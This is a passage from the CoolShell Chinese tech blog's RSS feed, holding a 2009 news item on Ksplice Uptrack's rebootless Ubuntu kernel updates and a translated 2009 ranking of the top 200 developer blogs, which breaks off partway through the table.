class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/10/communication-150x150.png\" alt=\"聊聊团队协同和协同工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_title\">聊聊团队协同和协同工具</a></li><li ><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/http_method-150x150.png\" alt=\"“一把梭：REST API 全用 POST”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_title\">“一把梭：REST API 全用 POST”</a></li><li ><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/monitoring-150x150.jpeg\" alt=\"谈谈公司对员工的监控\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_title\">谈谈公司对员工的监控</a></li><li ><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" alt=\"如何做一个有质量的技术分享\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_title\">如何做一个有质量的技术分享</a></li><li ><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" alt=\"程序员如何把控自己的职业\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_title\">程序员如何把控自己的职业</a></li><li ><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/01/remote-150x150.jpg\" alt=\"MegaEase的远程工作文化\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_title\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1103.html\">漫画：程序员的一生</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1103.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>13</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Ksplice Uptrack — Ubuntu更新不用重启</title>\n\t\t<link>https://coolshell.cn/articles/1097.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1097.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 30 Jun 2009 02:53:44 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Unix/Linux]]></category>\n\t\t<category><![CDATA[技术新闻]]></category>\n\t\t<category><![CDATA[操作系统]]></category>\n\t\t<category><![CDATA[Ksplice Uptrack]]></category>\n\t\t<category><![CDATA[Linux]]></category>\n\t\t<category><![CDATA[Ubuntu]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1097</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>Ksplice是马萨诸塞州坎布里奇的一家新兴厂商，它开发的软件可以帮助计算机用户保持其操作系统的安全性而且不需要经常麻烦的重新启动就可升级操作系统，Ksplic...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1097.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1097.html\">Ksplice Uptrack — Ubuntu更新不用重启</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>Ksplice是马萨诸塞州坎布里奇的一家新兴厂商，它开发的软件可以帮助计算机用户保持其操作系统的安全性而且不需要经常麻烦的重新启动就可升级操作系统，Ksplice被评为麻省理工10万美元创业竞赛的6个入围项目之一。</p>\n<p>Ksplice是Web/IT类冠军，它将与其他5个类别的入围者争夺总奖金。该公司是去年由四个麻省理工学院校友成立的，</p>\n<p>Ksplice目前支持Linux内核的更新，但它声称其免重启更新技术工作在目标代码层，可以适用于任何操作系统或者用户空间应用。该公司说，其技术对安全更新来说特别有益，可以解决因不方便重启而使安全更新不能及时生效的问题。</p>\n<p>昨日他们在剑桥发布了Ksplice解决方案，运用这种技术将实现无缝更新，从企业软件、系统补丁乃至Linux内核的更新都不需要重启就可以直接完成，改变了数十年来计算机运行最新代码需要重启的麻烦问题。</p>\n<p>相关链接：</p>\n<ul>\n<li>Ksplice Uptrack 主页在这里：<a href=\"http://www.ksplice.com/uptrack/\">http://www.ksplice.com/uptrack/</a></li>\n<li>安装指南在这里：<a href=\"http://www.ksplice.com/uptrack/download\">http://www.ksplice.com/uptrack/download</a></li>\n</ul>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/4826.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/06/GNUTotalSplit-150x150.png\" alt=\"GNU/Linux下有多少是GNU的？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4826.html\" class=\"wp_rp_title\">GNU/Linux下有多少是GNU的？</a></li><li ><a href=\"https://coolshell.cn/articles/501.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" alt=\"Ubuntu的并行启动\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/501.html\" class=\"wp_rp_title\">Ubuntu的并行启动</a></li><li ><a href=\"https://coolshell.cn/articles/22320.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/12/eBPF-150x150.jpeg\" alt=\"eBPF 介绍\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22320.html\" class=\"wp_rp_title\">eBPF 介绍</a></li><li ><a href=\"https://coolshell.cn/articles/19219.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2019/03/linux.ninja_-150x150.png\" alt=\"打造高效的工作环境 &#8211; Shell 篇\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/19219.html\" class=\"wp_rp_title\">打造高效的工作环境 &#8211; Shell 篇</a></li><li ><a href=\"https://coolshell.cn/articles/18654.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/12/docker-networking-1-150x150.png\" alt=\"记一次Kubernetes/Docker网络排障\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18654.html\" class=\"wp_rp_title\">记一次Kubernetes/Docker网络排障</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1097.html\">Ksplice Uptrack — Ubuntu更新不用重启</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1097.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>1</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Top 200的全球开发者BLOG</title>\n\t\t<link>https://coolshell.cn/articles/1092.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1092.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 30 Jun 2009 02:39:49 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[Blog]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1092</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>本文源自这里，文中列出了全球前200名的开发者的BLOG。有的可能你很熟悉，有的你可能还不知道。这些BLOG的排名通过查看，Google PageRank, T...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1092.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1092.html\">Top 200的全球开发者BLOG</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>本文源自<a href=\"http://www.noop.nl/2009/06/top-200-blogs-for-developers-q2-2009.html\" target=\"_blank\">这里</a>，文中列出了全球前200名的开发者的BLOG。有的可能你很熟悉，有的你可能还不知道。这些BLOG的排名通过查看，<em>Google PageRank</em>, <em>Technorati Authority</em>, <em>Alexa Rank</em>, <em>Google links</em>, <em>Twitter Grader Rank</em>等等，形成的综合排名。如果你对此感兴趣的话，你可以看看这篇文章——《<a href=\"http://www.noop.nl/how-to-make-a-top-blog-list.html\" target=\"_blank\">如何制作一个Blog排名</a>》</p>\n<p>下面是前200名的排名。希望对那些有日常浏览Blog习惯的人有帮助。大家可以下载更为详细的<a href=\"http://nooperation.typepad.com/files/top200developmentblogsq22009.xls\" target=\"_blank\">Excel表格</a>。</p>\n<p>本排名截止至：2009年第二季度</p>\n<p><span id=\"more-1092\"></span></p>\n<p><strong>其中：</strong><br />\n<strong>TT</strong> = This Time 本次名次<br />\n<strong>LT</strong> = Last Time 上次名次</p>\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"3\">\n<tbody>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>TT</strong></td>\n<td align=\"center\" valign=\"top\"><strong>LT</strong></td>\n<td valign=\"top\"><strong>Blog</strong></td>\n<td valign=\"top\"><strong>Author</strong></td>\n<td valign=\"top\"><strong>Twitter</strong></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>1</strong></td>\n<td align=\"center\" valign=\"top\">6</td>\n<td valign=\"top\"><a href=\"http://www.hanselman.com/blog/\">Scott Hanselman&#8217;s Computer Zen</a></td>\n<td valign=\"top\">Scott Hanselman</td>\n<td valign=\"top\"><a href=\"http://twitter.com/shanselman\">shanselman</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>2</strong></td>\n<td align=\"center\" valign=\"top\">2</td>\n<td valign=\"top\"><a href=\"http://www.codinghorror.com/\">Coding Horror</a></td>\n<td valign=\"top\">Jeff Atwood</td>\n<td valign=\"top\"><a href=\"http://twitter.com/codinghorror\">codinghorror</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>3</strong></td>\n<td align=\"center\" valign=\"top\">19</td>\n<td valign=\"top\"><a href=\"http://highscalability.com/\">High Scalability</a></td>\n<td valign=\"top\">(various)</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>4</strong></td>\n<td align=\"center\" valign=\"top\">12</td>\n<td valign=\"top\"><a href=\"http://lambda-the-ultimate.org/\">Lambda the Ultimate</a></td>\n<td valign=\"top\">(various)</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>5</strong></td>\n<td align=\"center\" valign=\"top\">16</td>\n<td valign=\"top\"><a href=\"http://www.uie.com/brainsparks/\">UIE Brain Sparks</a></td>\n<td valign=\"top\">Jared Spool</td>\n<td valign=\"top\"><a href=\"http://twitter.com/jmspool\">jmspool</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>6</strong></td>\n<td align=\"center\" valign=\"top\">13</td>\n<td valign=\"top\"><a href=\"http://raibledesigns.com/\">Raible Designs</a></td>\n<td valign=\"top\">Matt Raible</td>\n<td valign=\"top\"><a href=\"http://twitter.com/mraible\">mraible</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>7</strong></td>\n<td align=\"center\" valign=\"top\">59</td>\n<td valign=\"top\"><a href=\"http://dobbscodetalk.com/\">Dr. Dobb&#8217;s CodeTalk</a></td>\n<td valign=\"top\">(various)</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>8</strong></td>\n<td align=\"center\" valign=\"top\">14</td>\n<td valign=\"top\"><a href=\"http://www.25hoursaday.com/weblog/\">Dare Obasanjo aka Carnage4Life</a></td>\n<td valign=\"top\">Dare Obasanjo</td>\n<td valign=\"top\"><a href=\"http://twitter.com/carnage4life\">carnage4life</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>9</strong></td>\n<td align=\"center\" valign=\"top\">3</td>\n<td valign=\"top\"><a href=\"http://martinfowler.com/bliki/\">Martin Fowler&#8217;s Bliki</a></td>\n<td valign=\"top\">Martin Fowler</td>\n<td valign=\"top\"><a href=\"http://twitter.com/martinfowler\">martinfowler</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>10</strong></td>\n<td align=\"center\" valign=\"top\">1</td>\n<td valign=\"top\"><a href=\"http://www.joelonsoftware.com/\">Joel on Software</a></td>\n<td valign=\"top\">Joel Spolsky</td>\n<td valign=\"top\"><a href=\"http://twitter.com/spolsky\">spolsky</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>11</strong></td>\n<td align=\"center\" valign=\"top\">8</td>\n<td valign=\"top\"><a href=\"http://bokardo.com/\">Bokardo: Social Design</a></td>\n<td valign=\"top\">Joshua Porter</td>\n<td valign=\"top\"><a href=\"http://twitter.com/bokardo\">bokardo</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>12</strong></td>\n<td align=\"center\" valign=\"top\">25</td>\n<td valign=\"top\"><a href=\"http://www.scottberkun.com/blog/\">The Berkun Blog</a></td>\n<td valign=\"top\">Scott Berkun</td>\n<td valign=\"top\"><a href=\"http://twitter.com/berkun\">berkun</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>13</strong></td>\n<td align=\"center\" valign=\"top\">18</td>\n<td valign=\"top\"><a href=\"http://codebetter.com/\">CodeBetter.Com</a></td>\n<td valign=\"top\">(various)</td>\n<td valign=\"top\"><a href=\"http://twitter.com/codebetter\">codebetter</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>14</strong></td>\n<td align=\"center\" valign=\"top\">7</td>\n<td valign=\"top\"><a href=\"http://www.randsinrepose.com/\">Rands in Repose</a></td>\n<td valign=\"top\">Michael Lopp</td>\n<td valign=\"top\"><a href=\"http://twitter.com/rands\">rands</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>15</strong></td>\n<td align=\"center\" valign=\"top\">10</td>\n<td valign=\"top\"><a href=\"http://blog.stackoverflow.com/\">Stack Overflow</a></td>\n<td valign=\"top\">Jeff Atwood</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>16</strong></td>\n<td align=\"center\" valign=\"top\">15</td>\n<td valign=\"top\"><a href=\"http://blog.jonudell.net/\">Jon Udell</a></td>\n<td valign=\"top\">Jon Udell</td>\n<td valign=\"top\"><a href=\"http://twitter.com/judell\">judell</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>17</strong></td>\n<td align=\"center\" valign=\"top\">20</td>\n<td valign=\"top\"><a href=\"http://blog.objectmentor.com/\">Object Mentor Blog</a></td>\n<td valign=\"top\">(various)</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>18</strong></td>\n<td align=\"center\" valign=\"top\">37</td>\n<td valign=\"top\"><a href=\"http://blog.softwareprojects.org/\">Project Shrink</a></td>\n<td valign=\"top\">Bas de Baar</td>\n<td valign=\"top\"><a href=\"http://twitter.com/projectshrink\">projectshrink</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>19</strong></td>\n<td align=\"center\" valign=\"top\">4</td>\n<td valign=\"top\"><a href=\"http://thedailywtf.com/\">The Daily WTF</a></td>\n<td valign=\"top\">(various)</td>\n<td valign=\"top\"><a href=\"http://twitter.com/dailywtf\">dailywtf</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>20</strong></td>\n<td align=\"center\" valign=\"top\">30</td>\n<td valign=\"top\"><a href=\"http://blogs.msdn.com/jmeier/\">J.D. Meier&#8217;s Blog</a></td>\n<td valign=\"top\">J.D. Meier</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>21</strong></td>\n<td align=\"center\" valign=\"top\">28</td>\n<td valign=\"top\"><a href=\"http://www.artima.com/weblogs/\">Artima Weblogs</a></td>\n<td valign=\"top\">(various)</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>22</strong></td>\n<td align=\"center\" valign=\"top\">21</td>\n<td valign=\"top\"><a href=\"http://regulargeek.com/\">Regular Geek</a></td>\n<td valign=\"top\">Rob Diana</td>\n<td valign=\"top\"><a href=\"http://twitter.com/robdiana\">robdiana</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>23</strong></td>\n<td align=\"center\" valign=\"top\">24</td>\n<td valign=\"top\"><a href=\"http://www.noop.nl/\">NOOP.NL</a></td>\n<td valign=\"top\">Jurgen Appelo</td>\n<td valign=\"top\"><a href=\"http://twitter.com/jurgenappelo\">jurgenappelo</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>24</strong></td>\n<td align=\"center\" valign=\"top\">81</td>\n<td valign=\"top\"><a href=\"http://jeffreypalermo.com/\">Jeffrey Palermo (.com)</a></td>\n<td valign=\"top\">Jeffrey Palermo</td>\n<td valign=\"top\"><a href=\"http://twitter.com/jeffreypalermo\">jeffreypalermo</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>25</strong></td>\n<td align=\"center\" valign=\"top\">46</td>\n<td valign=\"top\"><a href=\"http://tech.puredanger.com/\">Pure Danger Tech</a></td>\n<td valign=\"top\">Alex Miller</td>\n<td valign=\"top\"><a href=\"http://twitter.com/puredanger\">puredanger</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>26</strong></td>\n<td align=\"center\" valign=\"top\">45</td>\n<td valign=\"top\"><a href=\"http://blogs.tedneward.com/\">Interoperability Happens</a></td>\n<td valign=\"top\">Ted Neward</td>\n<td valign=\"top\"><a href=\"http://twitter.com/tedneward\">tedneward</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>27</strong></td>\n<td align=\"center\" valign=\"top\">124</td>\n<td valign=\"top\"><a href=\"http://xprogramming.com/blog/\">Hot Needle of Inquiry</a></td>\n<td valign=\"top\">Ron Jeffries</td>\n<td valign=\"top\"><a href=\"http://twitter.com/ronjeffries\">ronjeffries</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>28</strong></td>\n<td align=\"center\" valign=\"top\">60</td>\n<td valign=\"top\"><a href=\"http://www.betterprojects.net/\">Better Projects</a></td>\n<td valign=\"top\">Craig Brown</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>29</strong></td>\n<td align=\"center\" valign=\"top\">73</td>\n<td valign=\"top\"><a href=\"http://blog.softwareinsider.org/\">A Software Insiders Point of View</a></td>\n<td valign=\"top\">R &#8220;Ray&#8221; Wang</td>\n<td valign=\"top\"><a href=\"http://twitter.com/rwang0\">rwang0</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>30</strong></td>\n<td align=\"center\" valign=\"top\">50</td>\n<td valign=\"top\"><a href=\"http://www.sauria.com/blog/\">Ted Leung on the Air</a></td>\n<td valign=\"top\">Ted Leung</td>\n<td valign=\"top\"><a href=\"http://twitter.com/twleung\">twleung</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>31</strong></td>\n<td align=\"center\" valign=\"top\">69</td>\n<td valign=\"top\"><a href=\"http://www.agilemanagement.net/Articles/Weblog/blog.html\">Agile Management Blog</a></td>\n<td valign=\"top\">David Anderson</td>\n<td valign=\"top\"><a href=\"http://twitter.com/agilemanager\">agilemanager</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>32</strong></td>\n<td align=\"center\" valign=\"top\">33</td>\n<td valign=\"top\"><a href=\"http://secretgeek.net/\">secretGeek</a></td>\n<td valign=\"top\">Leon Bambrick</td>\n<td valign=\"top\"><a href=\"http://twitter.com/secretgeek\">secretgeek</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>33</strong></td>\n<td align=\"center\" valign=\"top\">36</td>\n<td valign=\"top\"><a href=\"http://duckdown.blogspot.com/\">Enterprise Architecture: From Incite comes Insight&#8230;</a></td>\n<td valign=\"top\">James McGovern</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>34</strong></td>\n<td align=\"center\" valign=\"top\">&#8212;</td>\n<td valign=\"top\"><a href=\"http://devlicio.us/\">Devlicio.us</a></td>\n<td valign=\"top\">(various)</td>\n<td valign=\"top\"><a href=\"http://twitter.com/devlicious\">devlicious</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>35</strong></td>\n<td align=\"center\" valign=\"top\">9</td>\n<td valign=\"top\"><a href=\"http://steve-yegge.blogspot.com/\">Stevey&#8217;s Blog Rants</a></td>\n<td valign=\"top\">Steve Yegge</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>36</strong></td>\n<td align=\"center\" valign=\"top\">31</td>\n<td valign=\"top\"><a href=\"http://al3x.net/\">Alex Payne</a></td>\n<td valign=\"top\">Alex Payne</td>\n<td valign=\"top\"><a href=\"http://twitter.com/al3x\">al3x</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>37</strong></td>\n<td align=\"center\" valign=\"top\">58</td>\n<td valign=\"top\"><a href=\"http://stuffthathappens.com/blog/\">It&#8217;s Just a Bunch of Stuff That Happens</a></td>\n<td valign=\"top\">Eric Burke</td>\n<td valign=\"top\"><a href=\"http://twitter.com/burke_eric\">burke_eric</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>38</strong></td>\n<td align=\"center\" valign=\"top\">29</td>\n<td valign=\"top\"><a href=\"http://googletesting.blogspot.com/\">Google Testing Blog</a></td>\n<td valign=\"top\">(various)</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>39</strong></td>\n<td align=\"center\" valign=\"top\">48</td>\n<td valign=\"top\"><a href=\"http://elegantcode.com/\">Elegant Code</a></td>\n<td valign=\"top\">(various)</td>\n<td valign=\"top\"><a href=\"http://twitter.com/elegantcode\">elegantcode</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>40</strong></td>\n<td align=\"center\" valign=\"top\">5</td>\n<td valign=\"top\"><a href=\"http://blogcabin.37signals.com/\">Signal vs. Noise</a></td>\n<td valign=\"top\">(various)</td>\n<td valign=\"top\"><a href=\"http://twitter.com/37signals\">37signals</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>41</strong></td>\n<td align=\"center\" valign=\"top\">66</td>\n<td valign=\"top\"><a href=\"http://www.exampler.com/blog/\">Exploration Through Example</a></td>\n<td valign=\"top\">Brian Marick</td>\n<td valign=\"top\"><a href=\"http://twitter.com/marick\">marick</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>42</strong></td>\n<td align=\"center\" valign=\"top\">57</td>\n<td valign=\"top\"><a href=\"http://ericbrown.com/\">Aligning Technology, Strategy, People &amp; Projects</a></td>\n<td valign=\"top\">Eric Brown</td>\n<td valign=\"top\"><a href=\"http://twitter.com/ericdbrown\">ericdbrown</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>43</strong></td>\n<td align=\"center\" valign=\"top\">&#8212;</td>\n<td valign=\"top\"><a href=\"http://www.codethinked.com/\">CodeThinked</a></td>\n<td valign=\"top\">Justin Etheredge</td>\n<td valign=\"top\"><a href=\"http://twitter.com/justinetheredge\">justinetheredge</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>44</strong></td>\n<td align=\"center\" valign=\"top\">35</td>\n<td valign=\"top\"><a href=\"http://www.contrast.ie/blog/\">Contrast | The Blog</a></td>\n<td valign=\"top\">(various)</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>45</strong></td>\n<td align=\"center\" valign=\"top\">114</td>\n<td valign=\"top\"><a href=\"http://pyre.third-bit.com/blog/\">The Third Bit</a></td>\n<td valign=\"top\">Greg Wilson</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>46</strong></td>\n<td align=\"center\" valign=\"top\">22</td>\n<td valign=\"top\"><a href=\"http://beust.com/weblog/\">Otaku, Cedric&#8217;s Weblog</a></td>\n<td valign=\"top\">Cedric</td>\n<td valign=\"top\"><a href=\"http://twitter.com/cbeust\">cbeust</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>47</strong></td>\n<td align=\"center\" valign=\"top\">39</td>\n<td valign=\"top\"><a href=\"http://www.shahine.com/omar/\">Shanine.com / omar /</a></td>\n<td valign=\"top\">Omar Shahine</td>\n<td valign=\"top\"><a href=\"http://twitter.com/omarshahine\">omarshahine</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>48</strong></td>\n<td align=\"center\" valign=\"top\">11</td>\n<td valign=\"top\"><a href=\"http://www.ericsink.com/\">Eric.Weblog()</a></td>\n<td valign=\"top\">Eric Sink</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>49</strong></td>\n<td align=\"center\" valign=\"top\">108</td>\n<td valign=\"top\"><a href=\"http://www.pmthink.com/\">PMThink!</a></td>\n<td valign=\"top\">(various)</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>50</strong></td>\n<td align=\"center\" valign=\"top\">52</td>\n<td valign=\"top\"><a href=\"http://www.reformingprojectmanagement.com/\">Reforming Project Management</a></td>\n<td valign=\"top\">Hal Macomber</td>\n<td valign=\"top\"><a href=\"http://twitter.com/HalMacomber\">HalMacomber</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>51</strong></td>\n<td align=\"center\" valign=\"top\">62</td>\n<td valign=\"top\"><a href=\"http://www.codesqueeze.com/\">{Codesqueeze}</a></td>\n<td valign=\"top\">Max Pool</td>\n<td valign=\"top\"><a href=\"http://twitter.com/mpool\">mpool</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>52</strong></td>\n<td align=\"center\" valign=\"top\">47</td>\n<td valign=\"top\"><a href=\"http://jrothman.com/blog/mpd/\">Managing Product Development</a></td>\n<td valign=\"top\">Johanna Rothman</td>\n<td valign=\"top\"><a href=\"http://twitter.com/johannarothman\">johannarothman</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>53</strong></td>\n<td align=\"center\" valign=\"top\">27</td>\n<td valign=\"top\"><a href=\"http://www.satisfice.com/blog/\">James Bach’s Blog</a></td>\n<td valign=\"top\">James Bach</td>\n<td valign=\"top\"><a href=\"http://twitter.com/jamesmarcusbach\">jamesmarcusbach</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>54</strong></td>\n<td align=\"center\" valign=\"top\">34</td>\n<td valign=\"top\"><a href=\"http://blog.businessofsoftware.org/\">Business of Software Blog</a></td>\n<td valign=\"top\">Neil 